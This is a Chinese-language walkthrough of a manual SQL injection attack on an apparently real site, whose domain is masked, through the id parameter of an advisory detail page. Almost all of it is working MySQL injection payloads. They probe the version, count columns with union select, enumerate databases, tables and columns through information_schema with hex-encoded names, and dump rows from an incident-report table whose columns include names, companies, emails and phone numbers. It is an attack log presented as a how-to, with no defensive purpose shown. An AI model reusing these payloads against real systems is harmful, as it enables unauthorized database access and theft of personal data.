1.判斷版本http://www.xxx.xxx/document/advisory/detail.php?id=7 and ord(mid(version(),1,1))>51 返回正常,說明大於4.0版本,支援ounion查詢
2.猜解 欄位數目,用order by也可以猜,也可以用union select一個一個的猜解
http://www.xxx.xxx/document/advisory/detail.php?id=7 and 2=4 union select 1,2,3,4,5,6,7,8,9--
3.查看資料庫版本及目前使用者,http://www.xxx.xxx/document/advisory/detail.php?id=7 and 2=4 union select 1,user(),version(),4,5,6,7,8,9--
資料庫版本 5.1.35,據說mysql4.1以上版本支援concat函數,我也不知道是真是假,有待牛人去考證。
4.判斷有沒有寫入權限
http://www.xxx.xxx/document/advisory/detail.php?id=7 and (select count(*) from MySQL.user)>0-- 返回錯誤,沒有寫入權限
沒辦法,手動猜 表啦
5.查庫,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
但是這個點有點不爭氣,用不了這個命令,就學習了下土耳其駭客的手 法,不多說,如下
http://www.xxx.xxx/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
成 功查出所有資料庫,國外的駭客就是不一般。資料庫如下:
information_schema,Advisory,IR,mad,member,mysql,twcert,vuldb,vulscandb
6. 爆表,爆的是twcert庫
http://www.xxx.xxx/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
爆 出如下表
downloadfile,irsys,newsdata,secrpt,secrpt_big5
7.爆列名, 這次爆的是irsys表
http://www.xxx.xxx/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
爆 出如下列
ir_id,name,company,email,tel,pubdate,rptdep,eventtype,eventdesc,machineinfo,procflow,memo,filename,systype,status
8. 查詢欄位數,到這一步,國內很少有駭客去查詢欄位數的,直接用limit N,1去查詢,直接N到報錯為止。
http://www.xxx.xxx/document/ ... union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
返 回是3,說明每個列裡有3個地段
9.爆欄位內容
http://www.xxx.xxx/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
爆 出name列的第一個欄位的內容
http://www.xxx.xxx/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
爆 出name列的第二個欄位的內容